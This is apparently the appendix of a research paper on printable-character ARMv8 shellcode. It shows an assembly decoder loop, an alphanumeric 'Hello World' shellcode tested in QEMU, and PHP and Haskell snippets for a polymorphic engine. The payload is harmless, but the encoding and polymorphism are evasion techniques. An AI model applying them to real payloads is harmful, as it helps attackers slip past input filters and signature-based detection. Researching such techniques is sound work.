divert (0) dnl
/* Set P */
l1: ADR XP, l1+0 b010011000110100101101
/* Sync with pool */
SUBS WP, WP, #0x98 , lsl #12
SUBS WP, WP, #0xD19
/* Set Q */
l2: ADR XQ, l2+0 b010011000110001001001
/* Sync with TBNZ */
SUBS WQ, WQ, #0x98 , lsl #12
ADDS WQ, WQ, #0xE53
ADDS WQ, WQ, #0xC8C
/* Z:=0 */
ANDS WZ, WZ, WZ, lsr #16
ANDS WZ, WZ, WZ, lsr #16
/* S:=0 */
ANDS WS, WZ, WZ, lsr #12
/* Branch to code */
loop: TBNZ WS, #0b01011 , 0b0010011100001100
/* Load first byte in A */
LDRB WA, [XP, #76]
/* Load second byte in B */
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LDRB WB, [XP, #77]
/* P+=2 */
ADDS WP, WP, #0xC1B
SUBS WP, WP, #0xC19
/* Mix A and B */
EON WA , WZ , WA , lsl #20
/* ANDS WB , WB , #0 xFFFF000F */
.word 0x72304C00 +33*B
EON WB , WB , WA , lsr #16
/* STRB B, [Q] */
STRB WB, [XQ, WZ, uxtw]
/* Q++ */
ADDS WQ, WQ, #0xC1A
SUBS WQ, WQ, #0xC19
/* S++ */
ADDS WS, WS, #0xC1A
SUBS WS, WS, #0xC19
TBZ WZ , #0b01001 , next
pool: repeat (978, {.word 0x42424242 })
/* NOPs */
next: repeat( 77, {ANDS WU, WU, WU, lsr #12})
TBZ WZ , #0b01001 , loop
F Hello World Shellcode
The following program prints “Hello world” when executed in QEMU (tested with qemu-system-aarch64
-machine virt -cpu cortex-a57 -machine type=virt -nographic -smp 1 -m 2048 -kernel shellcode.bin
--append "console=ttyAMA0"). It was generated by the program described in Section 5.
The notation (X)^{Y} means that X is repeated Y times.
jiL0JaBqJe4qKbL0kaBqkM91k121sBSjsBSjb2Sj
b8Y7R1A9Y5A9Jm01Je0qrR2J9O0r9CrJyI38ki01
ke0qBh01Bd0qszH6PPBPJHMBAOPPPPIAAKPPPPID
PPPPPPADPPALPPECPBBPJAMBPAPCHPMBPABPJAOB
BAPPDPOIJAOOBOCGPAALPPECAOBHPPGADAPPPPOI
FAPPPPEDJPPAHPEBOGOOOOAGLPPCEOMFOMGKKNJI
OMPCPPIAOCPKPPOIOCPCPPJJFPPBDPCIHPPPPPCD
GCPFPPIANLOOOOIGOLOOOOAGOCPKDPOIOMGKLBJH
LPPCEOMFOMGKKOJIPPPMHPEBOMPCPPIANDOOOOIG
JPPLHPEBNBOOOOIGHPPMHPEBNPOOOOIGHPPMHPEB
MNOOOOIGNPPMHPEBMLOOOOIGHPPEHPEBMJOOOOIG
PPPDHPEBMHOOOOIGNPPNHPEBMFOOOOIGNPPMHPEB
MDOOOOIGDPPNHPEBMBOOOOIGHPPMHPEBMPOOOOIG
HPPLHPEBLNOOOOIGBPPDHPEBLLOOOOIGDPPAHPEB
LJOOOOIGPPPPHPEBOMGKLAJHLPPCEOMF
(BBBB)^{854}
(Z3Zj)^{77}
szO6
G Polymorphic engine
The following shows two modifications that make the code partly polymorphic. The first one is a modification
of the encoder, that will randomize both the payload and the remaining blank space.
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function mkchr($c) {
$a = [];
if($c >0x0){ $a[] = 0x40; $a[] = 0x60;}
if($c <0xA){ $a[] = 0x30;}
if($c <0xB){ $a[] = 0x50; $a[] = 0x70;}
return(chr($a[array_rand($a)]+$c));
}
function randalnum () {
$n = rand(0, 26+26+10 -1);
if($n <26) { return chr(0x41 + $n); }
$n -= 26;
if($n <26) { return chr(0x61 + $n); }
return chr(0x30 + $n - 26);
}
/* Replace ’$s = str_replace(’@’, ’P’, $s);’ with: */
$j = $b + 2*$i;
while($s[$j] === ’B’) {
$s[$j++] = randalnum ();
}
The second one is an example of adding polymorphism for zeroing a register using a Haskell engine.
import Data.String.Utils
import Data.List
import Data.Random
shift = "SHIFT"
shiftRange = [16..22]++[24..30]
replacePoly :: String -> String -> RVar String
replacePoly acc [] = return $ reverse acc
replacePoly acc s = do
if (startswith shift s)
then do
randomSh <- randomElement shiftRange
replacePoly (( reverse $ "#" ++ (show randomSh))++acc)
$ drop (length shift) s
else do
replacePoly ((head s):acc) $ tail s
main = do
s <- readFile "vector.a64"
sr <- runRVar (replacePoly [] s) StdRandom
writeFile "vector.a64.poly" sr
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